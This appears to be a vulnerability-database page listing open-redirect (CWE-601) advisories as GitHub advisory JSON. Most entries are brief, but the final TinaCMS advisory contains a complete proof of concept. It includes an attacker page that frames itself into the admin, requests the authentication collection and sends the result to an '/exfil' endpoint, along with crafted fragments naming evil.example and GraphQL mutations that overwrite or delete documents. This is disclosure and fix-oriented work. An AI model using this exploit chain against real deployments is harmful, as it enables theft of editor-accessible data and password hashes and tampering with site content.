Common Weakness Enumeration

CWE-601

Allowed

URL Redirection to Untrusted Site ('Open Redirect')

Abstraction: Base · Status: Draft

The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.

2634 vulnerabilities reference this CWE, most recent first.

GHSA-WXM9-C4V7-5X34

Vulnerability from github – Published: 2026-04-15 18:31 – Updated: 2026-04-15 18:31
VLAI
Details

A vulnerability in the web-based management interface of Cisco Unity Connection could allow an unauthenticated, remote attacker to redirect a user to a malicious web page.

This vulnerability is due to improper input validation of HTTP request parameters. An attacker could exploit this vulnerability by persuading a user to click a crafted link. A successful exploit could allow the attacker to redirect a user to a malicious web page.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-20060"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-15T17:17:01Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the web-based management interface of Cisco Unity Connection could allow an unauthenticated, remote attacker to redirect a user to a malicious web page.\n\nThis vulnerability is due to improper input validation of HTTP request parameters. An attacker could exploit this vulnerability by persuading a user to click a crafted link. A successful exploit could allow the attacker to redirect a user to a malicious web page.",
  "id": "GHSA-wxm9-c4v7-5x34",
  "modified": "2026-04-15T18:31:57Z",
  "published": "2026-04-15T18:31:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20060"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-unity-vulns-n2EJSbbw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WXV3-WWGP-8547

Vulnerability from github – Published: 2023-11-17 12:30 – Updated: 2023-11-17 12:30
VLAI
Details

An open redirect vulnerability in ePolicy Orchestrator prior to 5.10.0 CP1 Update 2, allows a remote low privileged user to modify the URL parameter for the purpose of redirecting URL request(s) to a malicious site. This impacts the dashboard area of the user interface. A user would need to be logged into ePO to trigger this vulnerability. To exploit this the attacker must change the HTTP payload post submission, prior to it reaching the ePO server.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-5445"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-17T10:15:08Z",
    "severity": "MODERATE"
  },
  "details": "\nAn open redirect vulnerability in ePolicy Orchestrator prior to 5.10.0 CP1 Update 2, allows a remote low privileged user to modify the URL parameter for the purpose of redirecting URL request(s) to a malicious site. This impacts the dashboard area of the user interface. A user would need to be logged into ePO to trigger this vulnerability. To exploit this the attacker must change the HTTP payload post submission, prior to it reaching the ePO server.\n\n",
  "id": "GHSA-wxv3-wwgp-8547",
  "modified": "2023-11-17T12:30:18Z",
  "published": "2023-11-17T12:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5445"
    },
    {
      "type": "WEB",
      "url": "https://kcm.trellix.com/corporate/index?page=content\u0026id=SB10410"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X22R-XGR5-23HH

Vulnerability from github – Published: 2024-10-04 21:31 – Updated: 2024-11-01 18:31
VLAI
Details

URL Redirection to Untrusted Site ('Open Redirect') vulnerability in Microchip TimeProvider 4100 allows XSS Through HTTP Headers.This issue affects TimeProvider 4100: from 1.0.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-43683"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-04T20:15:06Z",
    "severity": "HIGH"
  },
  "details": "URL Redirection to Untrusted Site (\u0027Open Redirect\u0027) vulnerability in Microchip TimeProvider 4100 allows XSS Through HTTP Headers.This issue affects TimeProvider 4100: from 1.0.",
  "id": "GHSA-x22r-xgr5-23hh",
  "modified": "2024-11-01T18:31:26Z",
  "published": "2024-10-04T21:31:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43683"
    },
    {
      "type": "WEB",
      "url": "https://www.gruppotim.it/it/footer/red-team.html"
    },
    {
      "type": "WEB",
      "url": "https://www.microchip.com/en-us/solutions/technologies/embedded-security/how-to-report-potential-product-security-vulnerabilities"
    },
    {
      "type": "WEB",
      "url": "https://www.microchip.com/en-us/solutions/technologies/embedded-security/how-to-report-potential-product-security-vulnerabilities/timeprovider-4100-grandmaster-improper-verification-of-host-header"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:U/V:C/RE:M/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-X2PR-G8VF-QFCP

Vulnerability from github – Published: 2026-06-12 18:31 – Updated: 2026-06-12 18:31
VLAI
Details

The Aqara IAM/SSO Gateway (gw-builder.aqara.com) provides an open redirect, which is an instance of "CWE-601: URL Redirection to Untrusted Site," with an estimated CVSS of CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N (6.1 Medium), which can be used to set up a phishing attack.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-50089"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-12T16:16:32Z",
    "severity": "MODERATE"
  },
  "details": "The Aqara IAM/SSO Gateway (gw-builder.aqara.com) provides an open redirect, which is an instance of \"CWE-601: URL Redirection to Untrusted Site,\" with an estimated CVSS of CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N (6.1 Medium), which can be used to set up a phishing attack.",
  "id": "GHSA-x2pr-g8vf-qfcp",
  "modified": "2026-06-12T18:31:59Z",
  "published": "2026-06-12T18:31:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50089"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xn0tsa/theres-no-place-like-home"
    },
    {
      "type": "WEB",
      "url": "https://www.runzero.com/advisories/aqara-sso-open-redirect-cve-2026-50089"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X2QF-6HHQ-FFRM

Vulnerability from github – Published: 2022-05-13 01:31 – Updated: 2022-05-13 01:31
VLAI
Details

The NetIQ Identity Manager user console, in versions prior to 4.7, is susceptible to URL redirection.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-7674"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-03-28T14:29:00Z",
    "severity": "MODERATE"
  },
  "details": "The NetIQ Identity Manager user console, in versions prior to 4.7, is susceptible to URL redirection.",
  "id": "GHSA-x2qf-6hhq-ffrm",
  "modified": "2022-05-13T01:31:50Z",
  "published": "2022-05-13T01:31:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7674"
    },
    {
      "type": "WEB",
      "url": "https://www.netiq.com/documentation/identity-manager-47/releasenotes_idm47/data/releasenotes_idm47.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X2R2-RVHQ-2MQV

Vulnerability from github – Published: 2026-06-10 00:31 – Updated: 2026-08-12 16:17
VLAI
Summary
Spring Security: Open Redirect via Unvalidated Post-Login Redirect URL Stored in CookieRequestCache
Details

Spring Security's CookieRequestCache and CookieServerRequestCache store the pre-authentication request URL in a browser cookie so that users can be redirected back to their intended destination after a successful login. In affected versions, the full absolute URL is stored in the cookie and is used without validation as the post-login redirect target.

Affected versions: Spring Security 5.7.0 through 5.7.23; 5.8.0 through 5.8.25; 6.3.0 through 6.3.16; 6.4.0 through 6.4.16; 6.5.0 through 6.5.10; 7.0.0 through 7.0.5.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.0.5"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.security:spring-security-web"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.5.10"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.security:spring-security-web"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.5.0"
            },
            {
              "fixed": "6.5.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.security:spring-security-web"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.3.0"
            },
            {
              "last_affected": "6.3.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.security:spring-security-web"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.8.0"
            },
            {
              "last_affected": "5.8.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.security:spring-security-web"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.7.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41706"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-12T16:17:14Z",
    "nvd_published_at": "2026-06-10T00:16:51Z",
    "severity": "MODERATE"
  },
  "details": "Spring Security\u0027s CookieRequestCache and CookieServerRequestCache store the pre-authentication request URL in a browser cookie so that users can be redirected back to their intended destination after a successful login. In affected versions, the full absolute URL is stored in the cookie and is used without validation as the post-login redirect target.\n\nAffected versions:\nSpring Security 5.7.0 through 5.7.23; 5.8.0 through 5.8.25; 6.3.0 through 6.3.16; 6.4.0 through 6.4.16; 6.5.0 through 6.5.10; 7.0.0 through 7.0.5.",
  "id": "GHSA-x2r2-rvhq-2mqv",
  "modified": "2026-08-12T16:17:14Z",
  "published": "2026-06-10T00:31:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41706"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/spring-projects/spring-security"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spring-projects/spring-security/releases/tag/6.5.11"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spring-projects/spring-security/releases/tag/7.0.6"
    },
    {
      "type": "WEB",
      "url": "https://spring.io/security/cve-2026-41706"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Spring Security: Open Redirect via Unvalidated Post-Login Redirect URL Stored in CookieRequestCache"
}

GHSA-X34J-47HF-4XG7

Vulnerability from github – Published: 2026-10-09 20:56 – Updated: 2026-10-09 20:56
VLAI
Summary
TinaCMS admin preview iframe loads an attacker-controlled origin from the URL fragment
Details

Summary

The TinaCMS admin builds its preview <iframe src> from the /~/* hash-router splat without checking that the value stays same-origin. A fragment with a doubled slash (#/~//attacker.example/p) becomes the protocol-relative URL //attacker.example/p, so the admin frames an external site. That same unvalidated string derives expectedOrigin, the only trust anchor for the admin↔preview postMessage channel, so the attacker's frame is treated as trusted: it can submit any GraphQL operation, which the admin executes with the signed-in editor's token and posts back to the attacker's origin.

One link, opened by a logged-in editor, gives an unauthenticated remote attacker arbitrary read and write access to the site's content API as that editor.

Details

Root cause — the router splat becomes the frame source with no same-origin check:

packages/tinacms/src/admin/index.tsx:16     HashRouter as Router,
packages/tinacms/src/admin/index.tsx:329      path='/~/*'
packages/tinacms/src/admin/index.tsx:173    const [url, setURL] = React.useState(`/${params['*']}`);
packages/tinacms/src/admin/index.tsx:176    const paramURL = `/${params['*']}`;
packages/@tinacms/app/src/preview.tsx:24        src={props.url}

The leading / is meant to force a relative path, but react-router-dom@6.30.3 returns the splat with its own leading slash for /~//x, producing //x. The iframe has no sandbox attribute and the admin bundle ships no CSP.

The trust anchor is then computed from that same value:

packages/@tinacms/app/src/lib/graphql-reducer.ts:209-212   getExpectedPreviewOrigin(url)
packages/@tinacms/app/src/lib/preview-origin.ts:22           return new URL(url, baseOrigin || undefined).origin;
packages/@tinacms/app/src/lib/preview-origin.ts:43-46        event.origin !== expectedOrigin -> reject

Both guards pass for the attacker: event.origin is expectedOrigin, and event.source is the frame the admin itself loaded.

PreviewInner's URL-correction poll (packages/tinacms/src/admin/index.tsx:189-200) does not recover the frame: reading ref.current.contentWindow.location.href across origins throws an uncaught SecurityError, so setReportedURL never fires and no corrective navigate() happens. The PoC below includes that effect verbatim and the attack still completes.

Sink — the attacker's GraphQL string reaches the authenticated client, and the result goes back to the attacker:

packages/@tinacms/app/src/lib/graphql-reducer.ts:613-624   'open' handler; zod validates types only, not query content
packages/@tinacms/app/src/lib/graphql-reducer.ts:973-978   cms.api.tina.request(expandedQuery, { variables })
packages/@tinacms/app/src/lib/graphql-reducer.ts:497-505   postMessageToPreview(..., expectedOrigin)

expandQuery (packages/@tinacms/app/src/lib/expand-query.ts:3-18) is operation-agnostic, so mutations pass through unchanged.

Default-enabled: packages/@tinacms/app/src/App.tsx:70 always passes preview={Preview}, and packages/tinacms/src/admin/index.tsx:327 registers /~/* whenever preview is truthy — so the route exists in every tinacms build output and in tinacms dev.

Incomplete-fix note: tinacms@3.9.3 / @tinacms/app@2.5.6 (PR #7056, c491fc5) added the sender-side origin check, but never validated the URL that check compares against.

Affected-range basis, stated plainly: I tested only tinacms@3.12.1 / @tinacms/app@2.5.12 (commit 0d38acf). The ranges below are given as <= because the vulnerable lines are byte-identical across every commit available to me — a 123-commit shallow clone, earliest 8a86ffa (2026-06-26), which predates the 3.9.3 hardening release — but I did not fetch tags or test earlier releases, so the true lower bound is undetermined. Please narrow it from your own history.

Suggested fix: normalise the splat to a same-origin path before it becomes url (reject a leading / or \), and have getExpectedPreviewOrigin refuse any origin other than window.location.origin.

PoC

Safe, local, non-destructive. Two loopback origins stand in for the site and the attacker; no traffic leaves the machine and no content API is contacted. The victim page uses the repository's preview-origin.ts byte-for-byte and reproduces PreviewInner/Preview line-for-line from the cited files; cms.api.tina.request is stubbed to return a marker so no real backend is touched.

Environment used: Linux, Node v22.23.1, Google Chrome (/usr/bin/google-chrome) driven by playwright@1.49.0.

Setup

git clone https://github.com/tinacms/tinacms.git tinacms-poc
cd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163
REPO=$PWD

mkdir -p /tmp/tina-poc/victim /tmp/tina-poc/attacker && cd /tmp/tina-poc
npm init -y >/dev/null
npm i --ignore-scripts react@18.3.1 react-dom@18.3.1 react-router-dom@6.30.3 esbuild@0.25.0 playwright@1.49.0

cp "$REPO/packages/@tinacms/app/src/lib/preview-origin.ts" ./preview-origin.ts

victim/admin.tsx — PreviewInner from packages/tinacms/src/admin/index.tsx:170-210, Preview from packages/@tinacms/app/src/preview.tsx:10-26, and the four graphql-reducer.ts steps (:209-212, :548-556, :613-624 + :973-978, :497-505):

import React from 'react';
import { createRoot } from 'react-dom/client';
import { HashRouter as Router, Route, Routes, useNavigate, useParams } from 'react-router-dom';
import { getExpectedPreviewOrigin, isFromTrustedPreviewOrigin, postMessageToPreview } from '../preview-origin';

const log = (m: string, x?: unknown) => console.log('[victim]', x === undefined ? m : `${m} ${JSON.stringify(x)}`);

// Stand-in for cms.api.tina.request (graphql-reducer.ts:977): in the real admin
// this is an authenticated call to the content API with the editor's token.
async function tinaRequest(query: string) {
  log('cms.api.tina.request() called with attacker query', query);
  return { data: { __POC_MARKER__: 'SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE' } };
}

function useGraphQLReducer(iframe: React.MutableRefObject<HTMLIFrameElement | null>, url: string) {
  const expectedOrigin = React.useMemo(() => getExpectedPreviewOrigin(url), [url]);       // :209-212
  React.useEffect(() => {
    log('expectedOrigin derived from preview url', { url, expectedOrigin });
    (window as any).__poc_expectedOrigin = expectedOrigin;
  }, [expectedOrigin, url]);

  const handleMessage = React.useCallback(async (event: MessageEvent<any>) => {
    if (!isFromTrustedPreviewOrigin({ event, expectedOrigin, peerWindow: iframe.current?.contentWindow })) return; // :548-556
    if (event.data.type === 'open') {                                                     // :613-624
      log('ACCEPTED "open" message from', event.origin);
      const expandedData = await tinaRequest(event.data.query);                           // :973-978
      postMessageToPreview(iframe.current?.contentWindow,
        { type: 'updateData', id: event.data.id, data: expandedData.data }, expectedOrigin); // :497-505
      log('posted query result to', expectedOrigin);
    }
  }, [expectedOrigin]);

  React.useEffect(() => {
    window.addEventListener('message', handleMessage);
    return () => window.removeEventListener('message', handleMessage);
  }, [handleMessage]);
}

const Preview = (props: { url: string; iframeRef: React.MutableRefObject<HTMLIFrameElement | null> }) => {
  useGraphQLReducer(props.iframeRef, props.url);
  return <iframe data-test='tina-iframe' id='tina-iframe' ref={props.iframeRef}
                 className='h-full w-full bg-white' src={props.url} />;   // preview.tsx:24
};

const PreviewInner = ({ preview }: { preview: any }) => {                  // admin/index.tsx:170-210
  const params = useParams();
  const navigate = useNavigate();
  const [url, setURL] = React.useState(`/${params['*']}`);
  const [reportedURL, setReportedURL] = React.useState<string | null>(null);
  const ref = React.useRef<HTMLIFrameElement>(null);
  const paramURL = `/${params['*']}`;
  React.useEffect(() => { if (reportedURL !== paramURL && paramURL) setURL(paramURL); }, [paramURL]);
  React.useEffect(() => { if ((reportedURL !== url || reportedURL !== paramURL) && reportedURL) navigate(`/~${reportedURL}`); }, [reportedURL]);
  React.useEffect(() => {                                                 // admin/index.tsx:189-200
    setInterval(() => {
      if (ref.current) {
        const url = new URL(ref.current.contentWindow?.location.href || '');
        if (url.origin === 'null') { return; }
        const href = url.href.replace(url.origin, '');
        setReportedURL(href);
      }
    }, 100);
  }, [ref.current]);
  React.useEffect(() => {
    log('iframe src computed from router splat', { "params['*']": params['*'], url });
    (window as any).__poc_iframeSrc = url;
  }, [url]);
  const PreviewCmp = preview;
  return <div><PreviewCmp url={url} iframeRef={ref} /></div>;
};

createRoot(document.getElementById('root')!).render(
  <Router>
    <Routes>
      <Route path='/~/*' element={<PreviewInner preview={Preview} />} />   {/* admin/index.tsx:329 */}
      <Route path='/' element={<div>admin dashboard</div>} />
    </Routes>
  </Router>
);

victim/index.html:

<!doctype html><html><head><title>TinaCMS admin (repro)</title></head>
<body><div id="root"></div><script type="module" src="/admin.js"></script></body></html>

attacker/evil.html:

<!doctype html><html><body>
<h1>attacker-controlled page framed by the TinaCMS admin</h1>
<script>
  parent.postMessage({ type: 'open', id: 'poc-1',
    query: 'query { collection(collection: "authentication") { documents { edges { node { ... on Document { _values } } } } } }',
    variables: {}, data: {} }, '*');
  window.addEventListener('message', (e) => {
    if (e.data && e.data.type === 'updateData') {
      fetch('/exfil?data=' + encodeURIComponent(JSON.stringify(e.data.data)), { mode: 'no-cors' });
    }
  });
</script></body></html>

run.cjs — serves both origins, logs every attacker-server request, and runs a control fragment and the crafted fragment:

const http=require('http'),fs=require('fs'),path=require('path'),{chromium}=require('playwright');
const VICTIM_PORT=8801, ATTACKER_PORT=8802, HERE=__dirname, attackerHits=[];
function serve(dir,port,onHit){const s=http.createServer((req,res)=>{const u=new URL(req.url,`http://127.0.0.1:${port}`);
 if(onHit)onHit(req.method+' '+u.pathname+u.search);
 if(u.pathname.startsWith('/exfil')){res.writeHead(204).end();return;}
 const f=path.join(dir,u.pathname==='/'?'/index.html':u.pathname);
 if(!f.startsWith(dir)||!fs.existsSync(f)){res.writeHead(404).end('nf');return;}
 res.writeHead(200,{'content-type':f.endsWith('.js')?'text/javascript':'text/html; charset=utf-8'});res.end(fs.readFileSync(f));});
 return new Promise(r=>s.listen(port,'127.0.0.1',()=>r(s)));}
(async()=>{const v=await serve(path.join(HERE,'victim'),VICTIM_PORT);
 const a=await serve(path.join(HERE,'attacker'),ATTACKER_PORT,h=>attackerHits.push(h));
 const browser=await chromium.launch({executablePath:'/usr/bin/google-chrome'});const results={};
 for(const scenario of ['control','attack']){attackerHits.length=0;
  const ctx=await browser.newContext();const page=await ctx.newPage();const logs=[];
  page.on('console',m=>logs.push(m.text()));
  const hash=scenario==='control'?'#/~/posts/hello-world':`#/~//127.0.0.1:${ATTACKER_PORT}/evil.html`;
  await page.goto(`http://127.0.0.1:${VICTIM_PORT}/index.html${hash}`);await page.waitForTimeout(2500);
  results[scenario]={hash,
   iframeSrc:await page.evaluate(()=>window.__poc_iframeSrc),
   expectedOriginTrustedByAdmin:await page.evaluate(()=>window.__poc_expectedOrigin),
   framesLoaded:page.frames().map(f=>f.url()),
   attackerServerHits:[...attackerHits],
   victimConsole:logs.filter(l=>l.startsWith('[victim]'))};
  await ctx.close();}
 await browser.close();v.close();a.close();console.log(JSON.stringify(results,null,2));})();

Run

cd /tmp/tina-poc
npx esbuild victim/admin.tsx --bundle --outfile=victim/admin.js --format=esm \
  --loader:.tsx=tsx --define:process.env.NODE_ENV='"production"'
node run.cjs

Observed output (captured verbatim)

{
  "control": {
    "hash": "#/~/posts/hello-world",
    "iframeSrc": "/posts/hello-world",
    "expectedOriginTrustedByAdmin": "http://127.0.0.1:8801",
    "framesLoaded": [
      "http://127.0.0.1:8801/index.html#/~/posts/hello-world",
      "http://127.0.0.1:8801/posts/hello-world"
    ],
    "attackerServerHits": [],
    "victimConsole": [
      "[victim] expectedOrigin derived from preview url {\"url\":\"/posts/hello-world\",\"expectedOrigin\":\"http://127.0.0.1:8801\"}",
      "[victim] iframe src computed from router splat {\"params['*']\":\"posts/hello-world\",\"url\":\"/posts/hello-world\"}"
    ]
  },
  "attack": {
    "hash": "#/~//127.0.0.1:8802/evil.html",
    "iframeSrc": "//127.0.0.1:8802/evil.html",
    "expectedOriginTrustedByAdmin": "http://127.0.0.1:8802",
    "framesLoaded": [
      "http://127.0.0.1:8801/index.html#/~//127.0.0.1:8802/evil.html",
      "http://127.0.0.1:8802/evil.html"
    ],
    "attackerServerHits": [
      "GET /evil.html",
      "GET /exfil?data=%7B%22__POC_MARKER__%22%3A%22SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE%22%7D"
    ],
    "victimConsole": [
      "[victim] expectedOrigin derived from preview url {\"url\":\"//127.0.0.1:8802/evil.html\",\"expectedOrigin\":\"http://127.0.0.1:8802\"}",
      "[victim] iframe src computed from router splat {\"params['*']\":\"/127.0.0.1:8802/evil.html\",\"url\":\"//127.0.0.1:8802/evil.html\"}",
      "[victim] ACCEPTED \"open\" message from \"http://127.0.0.1:8802\"",
      "[victim] cms.api.tina.request() called with attacker query \"query { collection(collection: \\\"authentication\\\") { documents { edges { node { ... on Document { _values } } } } } }\"",
      "[victim] posted query result to \"http://127.0.0.1:8802\""
    ]
  }
}

Expected vulnerable output — in attack: iframeSrc protocol-relative, expectedOriginTrustedByAdmin equal to the attacker's origin, a frame served by the attacker, and both GET /evil.html and GET /exfil?data=... on the attacker server. All held.

Control — #/~/posts/hello-world keeps the frame same-origin, keeps expectedOrigin on the victim origin, and produces zero attacker hits. That is what the crafted fragment should also do once fixed.

Supporting check — attacker mutations survive expandQuery and validate against a real Tina schema

mkdir -p /tmp/tina-expand && cd /tmp/tina-expand
npm init -y >/dev/null && npm i --ignore-scripts graphql@16.8.1 esbuild@0.25.0
cp "$REPO/packages/@tinacms/app/src/lib/expand-query.ts" ./expand-query.ts
cat > t.ts <<'EOF'
import * as G from 'graphql'; import fs from 'fs'; import { expandQuery } from './expand-query';
const schema = G.buildSchema(fs.readFileSync(process.env.SCHEMA!, 'utf-8'));
const ops: Record<string,string> = {
  READ: `query { movieConnection { edges { node { _values } } } }`,
  MUTATE_UPDATE: `mutation { updateDocument(collection: "movie", relativePath: "movie1.json", params: {movie: {title: "pwned"}}) { __typename } }`,
  MUTATE_DELETE: `mutation { deleteDocument(collection: "movie", relativePath: "movie1.json") { __typename } }`,
};
for (const [n, op] of Object.entries(ops)) {
  const printed = G.print(expandQuery({ schema, documentNode: G.parse(op) }));
  const errs = G.validate(schema, G.parse(printed));
  console.log(`--- ${n} ---`);
  console.log('survives expandQuery + validates against the real Tina schema:', errs.length === 0);
  console.log('operation kept:', (G.parse(printed).definitions[0] as any).operation);
}
EOF
npx esbuild t.ts --bundle --platform=node --outfile=t.cjs --format=cjs >/dev/null
SCHEMA="$REPO/packages/@tinacms/graphql/src/spec/movies-with-datalayer/.tina/__generated__/schema.gql" node t.cjs

Observed output:

--- READ ---
survives expandQuery + validates against the real Tina schema: true
operation kept: query
--- MUTATE_UPDATE ---
survives expandQuery + validates against the real Tina schema: true
operation kept: mutation
--- MUTATE_DELETE ---
survives expandQuery + validates against the real Tina schema: true
operation kept: mutation

Supporting check — router splat behaviour

mkdir -p /tmp/tina-rr && cd /tmp/tina-rr && npm init -y >/dev/null
npm i --ignore-scripts react-router-dom@6.30.3 react@18.3.1 react-dom@18.3.1
cat > t.cjs <<'EOF'
const { matchPath } = require('react-router-dom');
for (const p of ['/~/posts/hello','/~//evil.example','/~/%2F%2Fevil.example']) {
  const s = matchPath({ path: '/~/*' }, p)?.params['*'];
  console.log(JSON.stringify(p), '=> params["*"] =', JSON.stringify(s), '=> url =', JSON.stringify('/' + s));
}
EOF
node t.cjs

Observed output:

"/~/posts/hello" => params["*"] = "posts/hello" => url = "/posts/hello"
"/~//evil.example" => params["*"] = "/evil.example" => url = "//evil.example"
"/~/%2F%2Fevil.example" => params["*"] = "//evil.example" => url = "///evil.example"

Scope of the proof. Executed and observed here: the protocol-relative url, the cross-origin frame load, the attacker origin becoming expectedOrigin, the repository's real isFromTrustedPreviewOrigin accepting the attacker's message, the attacker's operation string reaching the request function, the response being delivered to the attacker's origin, and attacker mutations validating against a repository-provided generated schema. Not executed: a call against a live TinaCloud or self-hosted backend — cms.api.tina.request was stubbed deliberately so the PoC contacts no external service and writes no data.

Cleanup

rm -rf /tmp/tina-poc /tmp/tina-expand /tmp/tina-rr

All three PoCs were re-run after this report was drafted; the outputs above are those runs.

Impact

Origin validation error leading to a confused-deputy abuse of the content API. An unauthenticated remote attacker needs only to get a signed-in TinaCMS editor to open one link — the payload lives in the URL fragment, so it never reaches the server or its logs. The attacker then reads anything the editor can read (including, on self-hosted setups, the authentication collection holding PBKDF2 password hashes) and performs any mutation the editor can perform (updateDocument, createDocument, deleteDocument), with results delivered to the attacker's own origin. Two boundaries are crossed: the browser same-origin policy, and the content API's authorization.

Impacted: every deployment serving the TinaCMS admin bundle (tinacms build output or tinacms dev). No configuration disables the /~/* route.

Credits

  • Thai Son Dinh from VinSOC Labs (R&D)
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.13.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "tinacms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.14.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.5.13"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@tinacms/app"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-108261"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-441",
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-09T20:56:48Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
